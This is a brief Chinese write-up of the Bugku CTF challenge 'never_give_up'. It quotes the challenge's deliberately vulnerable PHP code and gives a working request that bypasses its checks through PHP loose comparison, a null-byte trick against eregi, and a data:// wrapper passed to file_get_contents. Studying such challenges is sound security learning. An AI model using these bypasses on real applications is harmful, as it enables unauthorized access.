一个很有意思的题:
never_give_up - Bugku CTF平台
注意到注释里面有1p.html,我们直接在源代码界面看,这样就不会跳转到它那个链接的:
然后解码可得:
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>
实际上就是这三个条件,
- id=0e123即可,php读入直接会是0
- b这里要求长度大于5,第一个不能是4,但是又要和1114匹配,这里直接用字符就可以绕过b=%0011111
- a这里要使用file_get_contents的漏洞,可以使用php://input和data://text/plain,但是我的bp版本高好像php://input没用了,所以这里用后者代替把字符串输进去
GET /hello.php?id=0e123456&a=data://text/plain,bugku%20is%20a%20nice%20plateform!&b=%0011111 HTTP/1.1
在burp加上这么一句即可: